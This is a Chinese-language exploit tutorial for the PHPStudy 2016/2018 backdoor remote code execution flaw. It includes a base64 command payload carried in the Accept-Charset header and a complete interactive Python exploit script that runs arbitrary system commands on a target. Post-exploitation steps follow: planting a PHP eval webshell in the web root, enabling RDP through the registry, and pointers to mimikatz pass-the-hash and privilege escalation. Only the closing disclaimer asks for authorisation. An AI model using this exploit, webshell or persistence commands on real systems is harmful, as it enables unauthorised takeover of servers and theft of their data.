python实战之exp
字数 733 2025-08-10 17:51:49
Python实战之PHPStudy RCE漏洞利用教程
漏洞概述
漏洞描述
PHPStudy 2016和2018版本存在远程代码执行漏洞(RCE),攻击者可以利用该漏洞执行任意PHP命令。该漏洞源于软件中被恶意篡改的后门代码。
漏洞编号
phpstudy_2016-2018_rce
漏洞评级
高危
影响范围
- phpStudy 2016
- phpStudy 2018
受影响版本
后门代码存在于\ext\php_xmlrpc.dll模块中,具体受影响文件路径:
phpStudy2016\phpStudy\php\php-5.2.17\ext\php_xmlrpc.dll
phpStudy2016\phpStudy\php\php-5.4.45\ext\php_xmlrpc.dll
phpStudy2018\PHPTutorial\PHP\PHP-5.2.17\ext\php_xmlrpc.dll
phpStudy2018\PHPTutorial\PHP\PHP-5.4.45\ext\php_xmlrpc.dll
环境准备
测试环境
- 操作系统:Windows 10 x64
- Web服务:phpStudy 2016(特别版)
环境下载
链接:https://pan.baidu.com/s/1caKBSPk7Re1Drpt0C5PRIg
提取码:j7d7
漏洞复现步骤
-
远程访问phpinfo
使用浏览器或Burp Suite内置浏览器访问目标服务器的phpinfo.php页面 -
抓包分析
使用Burp Suite等工具拦截请求 -
漏洞利用
修改请求中的以下字段触发漏洞:Accept-Charset: c3lzdGVtKCdpcGNvbmZpZycpOw== Accept-Encoding: gzip,deflate
Python EXP代码
# phpstudy-2016-2018-rce.py
import requests
import base64
import sys
banner = '''
-------------------------------------------------------------------------------------------------------------------------------------------------
_ _ _ ___ ___ __ __ ___ ___ __ ___ _____ _____ ______
| | | | | | |__ \ / _ \/_ | / / |__ \ / _ \/_ | / _ \ | __ \ / ____|| ____|_ __
| |__ _ __ ___ | |_ _ _ __| | _ _ ) || | | || | / /_ ______ ) || | | || || (_) | | |__) || | | |__ | '_ \
| '_ \ | '_ \ | '_ \| __|| | | | / _` || | | | / / | | | || || '_ \|______|/ / | | | || | > _ < | _ / | | | __| | |_) |
| |_) || | | || |_) | |_ | |_| || (_| || |_| | / /_ | |_| || || (_) | / /_ | |_| || || (_) | | | \ \ | |____ | |____ | .__/
|_.__/ |_| |_|| .__/ \__| \__,_| \__,_| \__, | |____| \___/ |_| \___/ |____| \___/ |_| \___/ |_| \_\ \_____||______|| |
| | __/ | |_| |_|
|_| |___/
Auther: lirujie
phpstudy 2016-2018 RCE
Usage: python *.py http://10.9.46.195/phpinfo.php
-------------------------------------------------------------------------------------------------------------------------------------------------
'''
if len(sys.argv) < 2:
print(banner)
exit()
url = sys.argv[1]
def attack(cmd):
cmd = f"system('{cmd}');"
cmd = base64.b64encode(cmd.encode())
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
"Accept-Charset" : cmd,
"Accept-Encoding": "gzip,deflate"
}
res = requests.get(url = url, headers = headers)
result = res.content.decode("gb2312")
result = result[0:result.find("<!DOCTYPE html")]
return result
while True:
cmd = input("--> ")
result = attack(cmd)
print(result)
if cmd == 'q!':
break
漏洞利用示例
基本命令执行
--> ipconfig
--> whoami
--> q! # 退出
深度利用
- 上传一句话木马
echo <?php eval($_POST[cmd]);?> > C:\phpStudy\www\shell.php
- 启动RDP(3389)
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
- 权限提升
由于普通用户权限无法创建用户,可使用以下方法:
- 使用mimikatz工具进行哈希传递
- 进程迁移
- 使用powershell提权
注意事项
- 普通用户权限可能无法创建新用户
- 远程连接时可能出现加密算法不匹配问题
- 实际利用时可能需要根据目标环境调整命令
免责声明
- 本文仅供技术研究参考,不构成任何专业建议
- 使用前请确保已获得合法授权
- 请遵守《中华人民共和国网络安全法》
- 作者及发布平台不对因使用本文信息导致的任何责任或损失负责